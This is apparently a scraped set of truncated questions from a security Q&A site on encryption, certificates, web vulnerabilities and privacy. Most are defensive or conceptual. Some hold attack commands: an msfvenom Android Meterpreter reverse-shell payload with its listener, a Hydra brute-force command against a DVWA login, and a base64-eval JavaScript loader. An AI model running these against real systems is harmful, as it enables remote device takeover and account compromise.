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Does Wire employ encryption of data at rest?
I generally consider Signal and Wire to be the best tools today for sending information privately between two parties. Both meet the marks on crypto, open-source, 3rd party audits, PFS via the double-ratchet algorithm, etc.
Personally, I prefer Wire because it doesn't requir... |
In light of the 2006 Debian OpenSSL fiasco, it seems prudent to take additional precautions as part of a "defense in depth" strategy against future possible vendorside-introduced ssh security vulnerabilities. What are some measures that can mitigate against bugs similar to the 2006 Debian OpenSSL bug in future? Some id... |
How to secure RDP connection to prevent the spread of ransomware from users' systems when they connect to corporate systems through remote desktop?
|
I am going through a short course on security. One of the videos is talking about non-repudiation in regards to cryptography and sending messages between Alice and Bob. This video talks about how digital signatures can be used to verify the sender of a message, which I understand (Bob decrypts the message with his priv... |
In this report on the recent ParkMobile breach, the article has this comment from the company:
“You are correct that bcrypt hashed and salted passwords were obtained,” Perkins said when asked about the screenshot in the database sales thread.
“Note, we do not keep the salt values in our system,” he said.
If the salts... |
Supposed I have a number of HTTPS servers on different networks, would it be safe enough to use them together to verify a new SSH daemon's public key? i.e. if they all return the same fingerprint, is it safe enough to assume there is no MITM attack?
I'm aware of SSH certs, but it gets tough to implement with most share... |
I know during emergency calls we can connect to our mobile networks without using a SIM and make calls.
So it's technically possible to connect.
The SIM card holds encrypted info on how to authenticate to the mobile network.
So my question is: if we have access to the encrypted data of the SIM, would it be possible to ... |
I keep hearing about the XML round trip vulnerability in version 3.2.4 of the Ruby package REXML. I looked into it myself, of course, and it seems to have something to do with parsing an XML document, then putting it back into XML again, and it coming out incorrect or just different than the original.
Presumably, it ca... |
One of our users regularly receives spam mails containing a shortened link. I got curious, so I decided to investigate one of those links and it took me to a plain text website with gibberish, as if someone created text from the autocorrect suggestions of their phone. This is the site in question:
What I don't underst... |
I am dealing with a website vulnerable to CSRF. Let's say that the page (upload.php) has the following code
if (isset($file_submit)) {
//submit_file()
}
else {
show_submission_form()
}
submission_form()
{
$tool_content .= <<<cData
<form enctype="multipart/form-data" action="upload.php" met... |
In a recent tweet, a prominent UK journalist has claimed to have witnessed a European police force accessing content on a mobile phone just by using the telephone number.
https://twitter.com/krishgm/status/1388072994296184832
Are there any known technology or attacks that could do such a thing?
Edit
For clarity, here i... |
I am reverse engineering a binary that contains a raw, DER-encoded X.509 certificate containing a DSA public key. I want to replace this certificate with one that I have generated so that I have access to the private key.
Due to this certificate being inside the binary, I need to replace it with a certificate of the sa... |
Firstly, I do not think my question is answered by SSD full disk encryption as I am not looking for a binary "is FDE secure" - nothing is perfectly secure; rather I am looking for possible solutions to the specific SSD/FDE encryption conundrum.
Theoretical attack model: My computer's root disk (all mounted partitions) ... |
Is it possible to infect important Linux system files with a malware from another operating system? For example, you are using Windows, you have a disk with the Debian operating system connected. You "caught" (on Windows) a malware that aims to modify Linux system files. Will the Linux kernel notice the change in these... |
i was testing somethings on browsers(It has nothing to do with what I am going to say) and accidentally i faced a case that when i browse meaningless addresses like abc/ signortest/ word/
the request sent to ip addresses hosted on linode!(i attached wireshark capture), that some of those IPs was reported malicious.
a... |
I was given a laptop by my company. I reinstalled everything and now I occasionally open Whatsapp web in the background to reply to messages. Most of the times my laptop is connected to the Company's Wifi. I wanted to know if they can see my Whatsapp texts or not?
Note: They've provided me an OpenVPN to access the Data... |
I recently tested the NTP Time Synchronization Attack as described and demonstrated by Jose Selvi in 2015.
Basically, the attack was mostly used to send the victim's clock in the future, so the already cached HTTP Strict Transport Security entry could expire, and when the victim visits the website that returned the HST... |
What are the risks of using NFC on a YubiKey versus just a hard connector?
I imagine it would be possible to sniff some data off of these security keys? How real is the risk of sniffing and what could an attacker gain from such an attack (only ephemeral data I am hoping)?
My main concern is that an attacker could basic... |
When downloading a Linux installer iso, the user is supposed to check the iso with sha or m5sum and compare the result against a checksum file, and then check the gpg signature of the checksum file.
If I understand it right, the checksum is to test for iso integrity (iso not corrupted) and that gpg checks that the chec... |
What is the meaning of "meterpreter session"? My understanding is it is a session that we can send commands to the host for execution. And a meterpreter session is created when we don't get a shell.
|
We publish a Windows desktop app, and while I've run VirusTotal on all of our files with no hits, some security software blocks incoming connections on ports we use, leading to frequent user support issues. Both our installer and the installed app are signed.
Our installer automatically adds exclusion rules to Windows ... |
Is it possible to use a firewall appliance as WAF? To make it more clear, lets think of a model like this:
Internet > router > Firewall > webserver
Can the firewall act as a WAF and block some special http requests according to some rule sets?
My question is about the possibility of this matter, maybe there are a few f... |
My IoT Device is connecting to server using TLS. on Device side implementtaion (with wolfSSL) we are just passing CA (root) cert to validate/ authenticate the server! any specific identity of server is NOT being passed apart from the server url - that means server is being authenticated just via the CA root cert!
if a ... |
Let say that a person has made a comment on a Facebook group and in the browser address bar it will have a link with the following format. If someone clicked on this link, it will jump straight to the public comment (this is just a sample link):
https://www.facebook.com/groups/402723123456/permalink/137534228296458/?co... |
I have been using Brave for a long time now. Lately, I realized it uses Chromium. I really dislike using Google because of my data privacy. So I am starting to wonder if Brave does the same thing.
|
My website has several forms which are periodically spammed.
When a submission gets flagged as spam, and is internally rerouted to where spam should go, what is the appropriate response:
show an error
or
show the regular message indicating that the message has been sent like normal
The problem with the first option i... |
Assuming you have the user protected PDF file. Using the password, the cryptographic key is generated and the file encrypted. Where is the key stored, is it on the RAM every time the file is opened?
|
I'm running a private CA for testing purposes. I have my root CA cert, an intermediate CA cert, and some server certificates. Clients have the root CA cert installed as trusted.
It's not clear to me if the server, let's say nginx but not necessarily, should return the complete certificate chain (server+intermediate+ca)... |
Let's say hypothetically a business has a network and some respective infrastructure. Importantly, a VPN for giving remote secure access to work resources, and a (not so)private DNS server for DNS but also things like blocking malware domains as your usual business DNS server does. The DNS server is internet facing and... |
I am currently learning about IPS and was wondering about a query that applies to how IPS works. I have knowledge of CSRF and XSS attacks, however I am unsure if Intrusion Prevention Systems can prevent these attacks as it aims to block intrusions and is performed in-line/in-band. If someone could provide me further cl... |
I'm using Kali Linux and trying to crack my own /etc/passwd file with the username "matt". I've unshadowed it however trying to use Hashcat or JohnTheRipper to identify and crack it has yielded no results. The $y$ prefix doesn't seem to come up on any hash lists or help files. Can anyone identify it or know which has t... |
I have had Tor for a bit, I do not use it that often. But I am wondering if anyone knows if it is secure. How safe are onion connections?
|
This is a brief sanity check for myself to confirm whether or not the premise of the title is a good idea or not.
Suppose we have an internal system for password reset or account verification. When a user performs an action, they are provided with a token identifying them through some external source (typically email)... |
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.2.2
exploit
After this, I installed the apk and opened it on my phone, and got something ... |
I am discovering both Freeradius and the password hashing mechanism. I built a database (in MySQL) to store the passwords of some users. I have a user with the password in clear text, another one hashed in SHA256 without salt and the last one hashed in SHA256 and salted.
I used this script to create the salted hash : h... |
Something like the Hong Kong protests for example. If a protestor wanted to use his personal computer on a network that is monitored, how can he change its properties enough so that it is not traced back?
For example, I would assume the MAC can be used to try to identify the user of the device. If the same MAC address ... |
Is there any difference between a X509 TLS client cert and a server cert?
I had been implementing certificate-based mutual authentication and hence trying to get/use certificates for IoT devices. While we are pretty clear on server certificates, I was wondering if the client certificates that individual IoT devices wil... |
I am comparing implementation complexity of JWS and Client Certificate and troubleshooting Client Certificate at the same time.
I understand that both methods require to prove that the certificate (x5c in JWS or the actual Client Certificate) is trustworthy (as per https://www.rfc-editor.org/rfc/rfc7515#section-10.3). ... |
The sample password-encryption below.
{SLT1000}8kmbGwpGQRS0b8GOdAH4/Wrt8z4=
Could anyone identify what type of encryption is this?
|
I noticed some very advanced sites don't offer 2 factor authentication via phone/text. Example Salesforce's Heroku:
Is phone/text based 2 Factor Authentication generally weaker than using an authenticator app? I'm trying to work out why a major site would not offer 2 Factor Authentication via phone/text, but offer oth... |
I know there are various questions that seem similar, for instance, this one. However, it does not answer my question.
I'm creating a signup/login system (with node.js to be particular), and I'm trying to hash the user's password (with bcrypt), as well as use aes-256 for the rest of the user information. I've been told... |
I am trying to setup a YubiKey 5 NFC with GPG on Windows 10 to ultimately use it to sign git-commits.
This is a new topic for me and I ran into some issues that got me stuck now.
I ran into this error:
gpg --card-status
gpg: selecting card failed: No such device
gpg: OpenPGP card not available: No such device
What I d... |
We are creating an Information Assurance and Security Plan for a public school. The Plan will include Google Classroom because the school doesn’t have an online learning platform. The problem is our teacher is requiring security software to use so we have searched about Cisco Umbrella. Is it possible to use Cisco Umbre... |
As far as I know, the only privacy problem with cookies is that in general, the owners of website Y could read what a visitor has searched for or had done in website X.
Will making HTTP cookies unique to a given website (so other websites won't be able to access it) make cookies aligned with the strictest privacy guide... |
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the Windows clients.
Is there any straightforward way to realize dynamic handling of incoming connections?
|
Is it possible to execute payloads with javascript in the browser
According to this question you can execute base64 code
index.html
<html>
<script>
var encoded = "base64 payload goes here";
var decodedString = atob(encoded);
eval(decodedString);
</script>
</html>
When you check the console in developer tool... |
I was reading this article which talks about a design to shorten URLs, and in the design section, it says that the given URL can be hashed using a hashing algorithm such as MD5, and then be encoded for display purposes using base64 or similar encoding.
I am confused so as to why would we need to encode a hashed string.... |
For example, if I add two accounts from different non-Google services, can Google (or maybe those services) because of that link them both together with my gmail account?
|
One of my old, rarely used computers had still an old password for my pyszne.pl / takeaway.com account stored in my browser's password manager. I tried to log into my account from that computer and saw a page saying that a one-time password was sent to an email address associated with the account that I am trying to us... |
Of the following two approaches, which is "more secure", under which circumstances, and why? In other words, please compare the security risks of these two approaches:
Log in to an OAuth provider such as Google or Facebook using a master passphrase; then use OAuth/OpenID to log in to other services via that OAuth prov... |
If i encrypt a message with private key put the public key on server and send message to 2 enteties, how can the second one encrypt the message when the first one has the public key ?
|
Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in reference memory field, but this is unlike in server side (and if server side was compromised this will be a minor problem).
Bt... |
I'm new to DUKPT, so I'm not entirely clear about DUKPT and HSM. Right now, I'm trying to decrypt data (PAN number) from terminal.
So far, when I receive KSN and encrypted data, I understand that I need to find encryption key. From my HSM I can get IPEK based on (KSN, BDK). But here is the confusion, based on articles ... |
If I receive an incoming TLS encrypted message from another email provider like outlook/hotmail, will my reply in transit from gmail to outlook/hotmail be encrypted by default as well?
|
I want to know whether or not Facebook Messenger calls can be intercepted and listened to by hackers.
Long story, but I went on a date with a girl who I then blocked immediately afterwards due to me suspecting she was a bit of a psychopath (which the proceeding story will confirm), and then a couple of days later I was... |
Due to several customer reasons our product needs to support Basic Auth as primary authentication mechanism with client's service account.
We are using Bcrypt to store customer's password in our DB, however Bcrypt (combined with Basic Auth) is quite slow on our servers. As far as I understand this is behavior by design... |
I made a database table of emoji country codes. I exported the data via mysqldump into a file called countries.sql.
I want to share it because it was a hassle finding anything like this, so I want to save people the trouble.
No sensitive data is in the table, but in the heading of the file, it seems like some informati... |
Say I have Tor running and am browsing the dark web with the Tor browser. If I were to save a local copy of a web page and render it into another browser, like Chrome (with JS enabled), would I then have a higher risk of revealing my IP even though Tor is still running?
I do understand that you in theory never want to ... |
I would like to check validity of x509 certificates of my clients. I would like to trust the certificates what big companies trust. For example I would like to trust what Microsoft Edge, Chrome browser or Apple Safari trust. However, I want it to be dynamic. When they give up to trust a certain certificate authority fo... |
I'm thinking about the way to build encryption mechanism for 'peer-2-peer' communication. This is a mechanism I had a thought of:
Alice wants to communicate with Bob
First of all, Alice and Bob must know and trust the existence of the same public key server, and retrieved its static DH public key from secure mechanism ... |
I came across this website and suddenly I got worried.
What worries me is apart from the system update threat mentioned I have been visiting so many sites, clicked on pop-ups, downloaded apps from third-party stores etc. I don't know if there is any spyware or virus in my phone but it worries me now.
What if my persona... |
In my ~/.aws/credentials I have the following:
[default]
aws_access_key_id = <something>
aws_secret_access_key = <something-else>
This file has permissions 0600 but doesn't require anything from me if you walked up to my computer, typed on my keyboard while my back is turned, you could have these values by... |
Today I noticed something strange.
I got an email containing a link that links to another site than the text says. In (Simple) HTML, the review is visible when hovering over the link.
However, in plaintext, in 3 out of 4 mails only the a.com was shown
a.com
<b.com>
This makes me a bit worried however, since I only not... |
Imagine that a hacker is cloning Twitter or Facebook. The attacker uses his own website, but it is going to be HTTP, right? So can he have the certificates that ensure that his website is "secure" showing the green confirmation before the url in the browser?
|
Lets say you use SELECT * FROM ($query) sub where you can swap $query to any query you wish. Is there a way to escape this select and run a command that modifies data in the database?
|
I was reading an article describing how CSRF works. The article did a pretty good job but it started to talk about how to protect against CSRF and one of the methods that the article has mentioned is using Anti-CSRF tokens. I'll quote the section below:
Use Anti-CSRF Tokens
Tokens (also known as synchronizer token pat... |
What is the security impact of a Reflected XSS vulnerability on a state website involved in financial relations? There are no user profiles on this page and it serves as an information board and a place to download project applications.
|
Please correct me if I'm mistaken, but I've reached the conclusion that CA-signed certificates in the current Internet Public Key Infrastructure do not add any more security compared to servers providing self-signed certificates or raw public keys and clients performing no certificate validation.
CA-signed certificates... |
Our team is looking to either integrate or develop a physical security solution for a rather large campus.
Requirements:
Ability to either integrate (with reader/electronic lock hardware) from our mobile apps which would allow access control (over NFC/Bluetooth) to areas.
We will be writing to our already existing iden... |
I've looked at various ways of logging in users and I'm wondering if I should write my own.
There are a lot of third party solutions that make it easy and cheap to get started, like Amazon Cognito and Auth0. But as easy as it is to get started, they all lock you in, make you reliant on their solutions and have terribly... |
Is there a way to detect fileless kernel compromise in Linux?
The only one way to analyze this kind of attack is by volatility. Volatility is a very good product, but not often updated especially with modern kernels (obviously because kernel change often), so it gives false positives.
Is there any alternative way to ch... |
Cloudfront supports adding external origins, i.e. domains that are not S3 buckets or ALBs. This led me to wonder whether adding domains that are not owned by the entity as an origin could allow for intercept the request payload, and potentially act as an Man in the Middle Attack.
Let's say I have a REST API running on ... |
I have dvwa set up and i am using the command:
hydra -IV -t 1 -l admin -P rockyou.txt localhost http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=tegnf0po32eavd385ckd9khqc3; security=low"
since my request in BurpSuite loo... |
What is the process of validating that a ssl certificate I try to validate is really signed by CA I trust?
What is the part of the certificate (The one I try to validate) is the one cant be faked?
From what I understand there should be some data encrypted (and possibly hashed) by the CA private key, so I can decrypt it... |
If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
|
My server is under attack on an specific port but I am confused whether is a DDoS attack or a DoS attack (if it requires a botnet or is using some kind of trick). The entire server is available (website, SSH, SMTP, etc...) except the port attacked.
The service that runs on that port is using 8-10% CPU and about 900 MB ... |
I want to enable client-certificate authentication in my AKS cluster and I have a basic question which I just don't seem to understand. As per the docs, ingress requires the CA certificate to be stored in a secret. My question is: Assuming that I use client-certificates that have been issued by a trusted CA (that's how... |
We have an admin web portal that we use to configure and monitor our system We recently had a security consultant scan our servers for vulnerabilities.
Our admin portal is secured with username and password authentication and with two-factor authentication.
The issue is that the security consultant is performing the vu... |
All the references I have found
https://en.wikipedia.org/wiki/IEEE_802.11i-2004
https://www.wifi-professionals.com/2019/01/4-way-handshake
https://www.hitchhikersguidetolearning.com/2017/09/17/eapol-4-way-handshake/
indicate that the first thing that happens is the sending of the Anonce( a random number) from the acces... |
I was curious about setting SHA-3 as the preferred hashing algorithm for GPG but that looks like it is not yet supported and the documentation states this:
SHA-3: SHA-3 is a completely new hash algorithm that makes a clean
break with the previous SHAs. It is believed to be safe, with no
warnings about its usage. It ha... |
I am using a custom Python build, with the liboqs-openssl which is encapsulating pq-algorithms. I generated the certificates using the provided dilithium2 algorithm and wanted to create a simple SSL connection with a Python client and server.
Simplified client:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.... |
I see Android malware being mentioned when reading peer reviewed papers about malware detection for smartphones, but iOS is never mentioned.
Even Malwarebytes says:
Historically, iOS has never been completely free of malware, but it has mostly been limited to one of two scenarios: Either you jailbroke your device, hac... |
It is my understanding that SSDs do not allow user to overwrite any specific file completely (wear-leveling). So in case of ransomware attack such as CryptoLocker, doesn't that mean there is still, always, an unencrypted copy of file on the disk? If so, can it be recovered without $100K equipment? Thanks.
|
Given a flow of information (for example from the URL) into a sink on a certain site, and given that this information is plain, i.e. is not sanitized, does this mean that if an attacker could control the information flow, this will ALWAYS give the attacker an exploit? Or does the exploitability rather depend on the sit... |
From my understanding, torrenting differs from standard downloading because it will get pieces of the file from other torrent clients, making it faster (and decentralized if I'm not wrong).
How safe is this? Could a user of a torrent client do something malicious with their piece of the file? I just want to download Li... |
I'm taking a cryptography course and what I've gathered so far is: PGP takes place at the application layer TLS takes place at the transport layer IPsec takes place in the network layer WPA2 Encryption takes place in the physical layer
I understand the protocols and such but don't really get how they are used in practi... |
When RSA is used for Key Exchange, the pre-master key is encoded with the server certificate public key, so the server would not be able to decode it if it didn't possess the private key.
However, when ECDHE is used for Key Exchange, how does the client make sure the server is legit and possess the private key relative... |
Around a year ago, I was on Reddit and clicked on a hyperlink, not knowing it grabs your IP. Ever since then, the person who grabbed my IP would sometimes comment on my Reddit posts and comments saying things like "I can't wait to meet you" and things similar to that. Should I be scared, or are they just trying to scar... |
We've recently conducted a security review of our identity server website and one of the finding was about missing CSP header. We do have implementation of request filter to add CSP on a controller level. So my question is, is there any documentation out there recommending CSP for or against certain response? It seems ... |
I read that, on TLS, each TLS Record (after the handshake) is "reliable", meaning, it cannot be tampered with.
I understand the handshake, but I don't understand exactly how "tamper-proofness" is achieved per TLS Record or TCP packet.
I have a suspicion that each record includes the HMAC of the record itself plus the s... |
I have a little Wordpress honeypot set up. I have it specifically set up so that when the server's IP address is accessed, the wordpress website shows up, ie. no vhost. I was reading the site's access logs and started noticing wordpress probes with the referer showing a strange website.
77.79.196.146 - - [10/May/2021:2... |
While reading up about WPA2-Enterprise, it states that it is more preferred over WPA2-Personal as it allows authentication via digital certificates which prevents over-the-air attacks.
However, I am unsure of the following implications about this implementation. If WPA2-Enterprise was to be implemented:
Can the authen... |
I need to create WebSocket authentication mechanism without using ticketing, so the whole authentication needs to be performed via HTTP (over SSL) GET request which is sent to upgrade connection to WebSocket (code snippet used to handle upgrade in NodeJS).
The problem lays in GET request which is not supposed to be use... |
I have a map (openlayers) which is integrated in a website made on wordpress. So, the wordpress has almost nothing to do with the map. The map is only included in an article.
The wordpress site is on www.example.com. The map is on mymap.example.com
In some article from www.example.com:
<script src="https://mymap.exampl... |
There is a site that allows a voter to vote for their favorite nominee once a day for a certain amount of days. While entering a vote, the only info given is the ballot choice you choose and nothing else.
If you are to go back and vote again, there is a message saying "please wait until next day to vote again". However... |
I've just imported Whonix VirtualBox VM, and have encrypted its drive via VirtualBox settings. Now when I booted it, the default credentials are "user/changeme", and setup suggests I change the password. I am not sure if I need to change the defaults.
If the VM itself is already encrypted, does setting complex user pas... |
Now machines are super powerfull to encrypt data/messages or will be even tremendously powerfull using Quantum Computing.
Machines use different ways of encryption when we give them a task to decrypt an encrypted data. Probably, they use some previous defined codes which would have been ever used or may be some new use... |
Is it possible to reverse a password hashed with bcrypt?
|
I have a Django application running on a Digital Ocean Ubuntu server. I am using NGINX and Daphne to serve the application because I am using Django Channels.
My websockets keep crashing, and I noticed in the logs when the crash occurs, this message:
127.0.0.1:46138 - - [11/May/2021:14:03:33] "GET /public/index.php?s=i... |
My organization has scanned our code using Checkmarx and the low severity issue Potential Clickjacking on Legacy Browsers was detected due to a JavaScript function firing on an HTML image click event.
We have implemented the following suggested fixes:
Define and implement a Content Security Policy (CSP) on the server
... |
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